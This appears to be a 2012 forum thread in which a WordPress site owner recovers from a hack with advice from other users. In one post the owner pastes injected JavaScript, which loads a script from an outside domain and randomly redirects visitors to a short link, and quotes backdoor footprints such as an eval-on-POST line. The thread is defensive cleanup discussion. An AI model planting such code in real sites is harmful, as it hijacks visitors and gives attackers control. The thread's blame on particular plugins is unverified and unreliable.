Anybody else been hijacked by google metatags?

Fwiffo · May 21, 2012

Ok guys, here is the HTACCESS code right here. Do you see anything strange?

nothing strange, but I'm not an htaccess expert however there is a URL listed in the page cache core - if this is your site it's probably fine, if not then it's probably where the meta is being pulled from. You may want to delete or change that part of the htaccess code if it's your site and want to keep it hidden...

I deleted my htaccess, checked my DB, but google still has my site cached with the wrong info.

Once you get it fixed, will take until google caches your site again for it to be proper in their index. This can be a week or two sometimes... In the meantime look at page source and through googlebot referrer to see what they're seeing if the meta on your site is still up.

I have downloaded all the files - backuo, database, posts. Ready to restore if tomorrow the wrong meta is still up. Can you please recommend me a good and SAFE way to restore? Lol, I don't think I can handle the restore failing.

Tutorial for this are easy to find. Google for them, put your hostname or style and you can usually get some pretty good results. Remember that if you're restoring from a backup of hacked site, that won't fix the site....

@Everyone: How do I protect my website from getting hit again? Obviously Bulletproff didn't do a good job...

backup regularly & keep site updated... chances are you will get hit again, and there's a good chance it's not your host's fault (or problem) - can come from bad plugins, improper server setup, lots of things - there's no perfect configuration for the "layman" user to avoid getting hacked...

dowser · May 21, 2012

Man, that sucks, I've had my competition brake into my home network and send spam from my website through my server. Got booted from my hosting (although the e-mail was fake), took me almost 2 weeks to get it back together.
One good thing is that now I'm more careful, but I guess we are all more or less vulnerable...

Kale87 · May 21, 2012

Brief intro, I know how you are feeling...
On October 2011, one of my sites was hijacked, not like yours, in my case writing code and "pseudo domains?" showing
as a reputable bank (the home page cloned) and sending emails requesting personal info and redirecting the email links to my server.

I can only tell you:

Like Fwiffo told you:

nothing strange, but I'm not an htaccess expert however there is a URL listed in the page cache core - if this is your site it's probably fine, if not then it's probably where the meta is being pulled from.

Click to expand...
Check all of your index.php files on your WP installation verifying that there is not injected code (probably js scripts/iframes). Do this via ftp or your file manager control panel.
Take a look at your cgi-bin directory if you have enabled it, and verify that there is no "additional" code on it

This is only a few additions that I can suggest you after reading all the good recomendations posted here.

raven123 · May 21, 2012

Hey Guys, I read everything you wrote, and I went to my site's source code and I found this: Can anybody Code-Savvy tell me two things - is this whats been killing me (I know some js but not that much) and where do I find it. I am currently scanning my scripts using the Chrome developer tools.

Code:

[TABLE]
[TR]
[TD="class: webkit-line-content"]<script type="text/javascript"> if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.phpcompliance.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.phpcompliance.org/jquery.js"></scr'+'ipt>'); } </script>[/TD]
[/TR]
[TR]
[TD="class: webkit-line-number"][/TD]
[TD="class: webkit-line-content"][/TD]
[/TR]
[TR]
[TD="class: webkit-line-number"][/TD]
[TD="class: webkit-line-content"]<script type="text/javascript">[/TD]
[/TR]
[TR]
[TD="class: webkit-line-number"][/TD]
[TD="class: webkit-line-content"]var now = new Date().getTime();[/TD]
[/TR]
[TR]
[TD="class: webkit-line-number"][/TD]
[TD="class: webkit-line-content"]if (now%20 == 0) {[/TD]
[/TR]
[TR]
[TD="class: webkit-line-number"][/TD]
[TD="class: webkit-line-content"]window.location = "http://bit.ly/JgCidW";[/TD]
[/TR]
[TR]
[TD="class: webkit-line-number"][/TD]
[TD="class: webkit-line-content"]} [/TD]
[/TR]
[/TABLE]

That bit.ly is 100% the site everybody has been seeing when they click mine. Please guys tell me what you make of this!

teamrecon · May 21, 2012

The javascript code basically gets the current time. If {now%20 part is the javascript Modulus (division remainder) operator. If the current time and 20 do not leave a remainder, then goto the bit.ly address.

The http://www.phpcompliance.org/jquery.min.js part is an external javascript library that the code can use.

The problem with wordpress is that a rogue plugin or an infected plugin can add content to your post pages very easily. Hell you can even add links to your existing posts !

If you are not sure, just delete this from the source and see what happens. If everything goes foobar, then just copy it back, but I would suspect this code, especially if the bit.ly link is the one seen.

raven123 · May 21, 2012

teamrecon: Thanks, I thought so too! So, delete it from my source code is easier said than done. I have no idea how I can edit the whole source. I am trying to find it in a separate .js file somewhere else, but if you can tell me where to find it and delete it, it would be awesome!

Some guys told me there might be variations. Does anybody know of a soft that scans through .php, .js files and searches for a keyword?

lagger · May 21, 2012

If this doesnt work, ask host to reload from last backup.

Then check thru your DB by hand and look to see if there is new user added
Also make sure that all your ftps block anon and change there passwords
Change your cpanel password
Delete shit code in Wordpress, sometime your host will be nice enough scan your shit for you and tell you what files are fubar.
Most likely they have a backdoor installed in the header.php or the sidebar.php for some reason thats there favorite place to t-bag from.
They sometimes have a script(cause most dont know shit and are lazy) that will mass infect your entire public_html file. Thats why I always install everything like this....

PHP:

/myporn/website1.com
/i-love-midgets/website2.com
/bring-in-the-gimp/website3
/public_html/ <----fucking empty eat some cock hackers do your dirty work by hand!!

So if you havent done so you need to look thru all your sites under your public_html file and fix them all.
Most of the time they will only corrupt the database they went in first. MOST of the time not all of the time. So Fine tooth comb that dirty bitch and the others, pay attention but you know if you space out it should be ok.

How do I know this stuff? I got hacked and thought I fixed it the first time. Well I got it the second time, needless to say.

BTW security plugins help, but if some cock sucker wants to hack your page they will.

raven123 · May 21, 2012

lagger: Thanks for your suggestions! I contacted bluehost to see if they would be so kind to search out that shit from my website. I am checking the header and sidebar, but can't find anything particularly

suicious like

Code:

eval($_POST['attacker_key']);

or

J3byJXZ"(edoced_46esab(laveAny encoded base64 or eval. Can you tell me something else to look for when looking for a footprint?So on every new site you paste those lines in the public_html? I'll definitely remember this. I checked my database, didn't seem like there was anything malicious, but I am having a bluehost guy check it out. I am pasting that code right as it is LOL.

lagger · May 21, 2012

No bro I dont use the public html directory at all. I make new directories every time I set up a new site. The lazy boy hackers scripts are directory based.

This is what you can do, you can install a new wordpress install onto a subdomain right and compare files against each other. The core files should be the same across installs(for the most part) the only changes should be in themes, plugins, and your data base.

Heres a PRO tip for ya, dont tell anyone if you search that bit of code you gave me just now it comes up with a virus

Heres the link, http://ottopress.com/2009/hacked-wordpress-backdoors/

So yeah if your wondering about some certain line of code google that shit brah!

There is no footprints other really. The hacker that bagged you actually sounds like he has a bit of skill. So I would try restoring from a back up first from the host. They usually back up every. Hell most of the time they have weeks of back ups. Just ask thous bastards to go back X days and reinstall. Tell them you love them and you will pay your bill early this month, cause your awesome like that.

proweb · May 21, 2012

Use an FTP client to view your website structure files and organize all the files within your website by last modified date. The pages that were last modified that you haven't touched are ones with the hacked code.

I've been hacked several times. One time the hacker emailed me and told me to pay him/her $5,000 USD or else he/she would bring down the site. I simply logged in and deleted all the code from the files he/she edited, changed my password, and ignored the person. In my experience its best not to make enemies with a hacker. By the way, the way this person got my password was they created a script that redirected me to a page that looked like my admin screen, yet emailed them my admin username and password.

teamrecon · May 21, 2012

Sorry for the delay in replying.

You could also use an ftp client to download the entire site onto your computer, then do a search within those files for the bit.ly link. Once you have found the file, just open it, delete the lines and reload that file back up.

It could be in the main wordpress files, but my hunch is that it is in one of the files in the plugin directory.

raven123 · May 21, 2012

THANK YOU EVERYONE WHO HELPED!!

Hey guys, the problem is finally cleared! I am now in the process of giving thanks to everybody who offered to help and who shared their experience!

It was a long 3 day battle that costed me more that I could have imagined, but its over. And we are victorious!

I am also posting in the Lounge warning everyone of this exploit, but read below to see how I fixed this nightmare. And what worked and what didn't work.

What Didn't work:

Talking to Bluehost - I managed to get several friendly guys wanting to help. I can honestly recommend Scott as the best Bluehost support operator. That man went to extreme lenghts to help me and I would buy him a month worth of beers if I was able to. So if you are in serious trouble, ask for scott, or Aaron those are the guys who helped me the most.

Doing restores: It turns out a restore didn't do anything in my case, because the problem was in a plugin. More on that below. Doing a restore will only replace your files, it seem. Note: Doing a restore will not delete your posts, unless you tell the bluehost guy to speciffically do so.

Disabling plugins - Disabling a plugin won't stop a malicious code inside to work, it seems.

What I couldn't have done without:

Always have a backup plugin installed guys. Always. I am using BackUpWordpress, you never know when you'll need one. This time I needed it to make sure a restore doesn't fix my issue.

BHW

WHAT WORKED

Here is step by step how to fix this sort of problem, and how I eventually fixed it.

First, check your source code and FIND THE BAD CODE! If you have to, read through the whole page, read and understand every single line. Without the code, you are doomed. If you have to ask a friend, or ask here on BHW. You have to find the bad code, and it will show for sure in the source code (in these cases)

Go to your host, open a live chat, and INSIST that they do an automated search for bits of the code it can't do without. Like for example, a code can have 10,000 variations. But it can't do without a link to redirect to, or some other footprint (in my case it was a bit.ly link). Find the footprint, and demand (they might say its out of their authority, but it really is, they are just lazy) that they search your website's files (NOT your hosting account's files, or it will take them too much CPU and they'll get banned from their admins/). After they are done, they will paste you a list with the paths of the files.

LOOK at the paths before you go "Oh no, this is too much work...". In most cases, like it was in mine, it will be a long list, but all in the same directory

Determine the directory, and what it is. Theme files? Plugins? Whatever it is, its killing you. Its killing you and your business and you have to take it out.

In my case, this was one of these three plugins: W3 Total Cache, WP Super Cache, Digi Link Doctor.

If you have one of these plugins installed, I honestly recommend you do away with it right away. I am 90% sure that it was the SUPER CACHE , but I can't say for sure, because I deleted all 3 simultaneously.

I suspected this because it would give me errors after each backup (Still don't know why)

Making the site secure

Read through this, it might not exactly be the best thing, but it will help https://my.bluehost.com/cgi/help/511
Install whatever security plugins, along with a plugin that will check for backdoors in future plugins.
Find a web security company. I still haven't done this step, but if you are running a big and growing business, its a must. Even if its for the weekend, a simple hack like this can set you back thousands.

Read this thread again. Its a very useful thread thanks to the many people who participated, and you are sure to learn one or two things from it.

Thanks again, everybody who helped! BHW is a great place with people on whom I can count to back me up when the knife gets to the bone. I am proud to be a part of a community with such great and helping members and caring Admins!

Thank you!

PS: Ask away if I left something unclear, I'll try to help wit whatever I can!

raven123 · May 22, 2012

EDIT: I now confirmed that the problem was in DIGI LINK DOCTOR.

directaxcess · May 22, 2012

You were probably using an outdated plugin. My WordPress site was recently hacked but I checked it out and apparently one of my administrators put the .htaccess to 777 permissions leaving the door open for any hackers.

ryan-isra · May 23, 2012

Finally, you really take a look on the source.

I've been with this a few years ago, all I did was looking at the code carefully, find
the script that loads shit by downloading all files thru FTP and open all files in notepad.

Congrats for winning the battle, btw!

Anybody else been hijacked by google metatags?

Fwiffo

Power Member

dowser

Power Member

Kale87

Newbie

raven123

Regular Member

teamrecon

Junior Member

raven123

Regular Member

lagger

Power Member

raven123

Regular Member

lagger

Power Member

proweb

Regular Member

teamrecon

Junior Member

raven123

Regular Member

raven123

Regular Member

directaxcess

Senior Member

ryan-isra

Regular Member

Main Menu

Marketplace

Making Money

BlackHat World